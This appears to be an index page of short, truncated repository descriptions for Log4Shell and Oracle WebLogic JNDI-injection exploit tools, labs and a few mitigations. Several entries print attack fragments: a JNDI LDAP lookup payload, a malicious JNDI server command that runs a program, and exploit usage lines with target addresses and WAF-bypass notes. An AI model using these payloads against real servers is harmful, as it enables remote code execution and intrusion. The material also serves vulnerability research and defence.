log4j2-exploit

Log4Shell CVE-2021-44228 proof of concept Requirement Java JDK/JRE 8 or later version curl exploitable Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

log4noshell

Log4NoShell A Java Agent that disables Apache Log4J's JNDI Lookup to mitigate CVE-2021-44228 "Log4Shell". If possible, update your program to use the latest Log4J version, as the vulnerability is fixed as of version 2.17.1. Otherwise, download log4noshell-0.8.1.jar and continue reading. Usage To...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic Usage: Setup JNDI, the specific one from https://github.com/WhiteHSBG/JNDIExploit/ Exploit: root@kitploit: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001...

Log4J_0day_RCE

Únete a la Comunidad Telegram CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas puedes usar JNDI-Injection-Exploit para explotar. Bypass rc1 Por ejemplo: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF...

log4j_RCE_CVE-2021-44832

Log4j 2.17.0 RCE -- CVE-2021-44832 Reproduction 1. Start the malicious JNDI server root@kitploit: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" 2. Modify the DataSource section in config/log4j2.xml to your...

log4shell-test-exploit

Test exploit of CVE-2021-44228 log4shell Preparation root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git ...

CVE-2021-44228

CVE-2021-44228 Abusar de Log4J CVE-2021-44228 para parchear CVE-2021-44228 en sesiones de juego de Minecraft vulnerables y prevenir la explotación en la sesión : Un viaje desde la manipulación de JNDI/LDAP hasta la tierra de los sueños de ejecución remota de código...

CVE-2024-21182

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI Injection → RCE lab A self-contained, one-command Docker lab to reproduce and validate the Oracle WebLogic Server OpaqueReference JNDI-injection vulnerability family CVE-2024-21182, a patch bypass of CVE-2023-21839 and turn it into...

JYso

JYso It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP 🚀 Getting Started Guide 📢 Please take a moment to read this document, it will help you quickly get familiar with JYso! 🧐 Use the Documentation...

log4j2-rce-poc

Log4j2 RCE Vulnerability POC A bare minimum proof-of-concept for Log4j2 JNDI Remote-Code-Execution vulnerability CVE-2021-44228. This is intended for educational purposes to help people who are not security researchers to understand how it works and how large the impact is. The POC bypasses the...

cve-2021-44228

CVE-2021-44228 This repository represents a simplified simulation of infamous CVE-2021-44228 issue. Aside from system properties and other dictionary structures lookups, Apache Log4j also implements JNDI lookup feature for various reasons. The JNDI can obtain services from a number of service...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate This POC uses Spring / Hibernate, however a similar approach of rmi - deserialization could be used to trigger any deserialization vulnerability TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-bina...

cve-2021-44228-rce-poc

PoC de Ejecución Remota de Comandos CVE-2021-44228 Este repositorio permite a los investigadores de seguridad experimentar con la ejecución remota de código ofreciendo una implementación de un servidor de ataque que carga un exploit personalizado en una aplicación vulnerable que contiene log4j. ⚠️...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData Project depends on https://github.com/5up3rc/weblogiccmd Demo Require 1. JDK Version JDK6u211/7u201/8u191 2. Weblogic Version 12.2.1.4.0 Do not use illegally!!!!!!!! Reference 1...

Log4shell

Igloo Corporation Won Chi-hyun Log4shell Analysis Report Log4shell CVE-2021-44228 Log4j is a free and open-source Java-based logging utility by the Apache Software Foundation, capable of logging various Java-based services. It uses JNDI Lookup to reference data and objects discovered via JNDI,...

Log4j-check

Log4j-check Supports RC1 bypass log4j Burp scanning plugin, CVE-2021-44228, supports RC1 bypass, supports JSON data types, supports dnslog.cn and Burp's built-in DNS, can be used with JNDIExploit to generate payloads Modified based on @pmiaowu's fastjson plugin. The original author used dnslog.cn...

test-44228

test-44228 Un ejemplo simple para CVE-2021-44228 Implementa dos CLI de Java, una usando log4j v1.x y la otra usando log4j 2.x para demostrar la vulnerabilidad log4shell. Ver también: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html...

CVE-2020-2551

Twitter: @Hktalent3135773 0、how get pro exploit tools? see https://github.com/hktalent/CVE-2020-2551/issues/5 1、CVE-2020-2551 CVE-2020-2551 poc exploit python example keys: GIOP corba How use root@kitploit: python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I %...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment Objective: Demonstrate the exploitation of the Log4Shell vulnerability CVE-2021-44228 within a simulated banking application environment. Scope: 1: Setup a vulnerable banking application using Apache Log4j. 2:Craft a payload to exploit...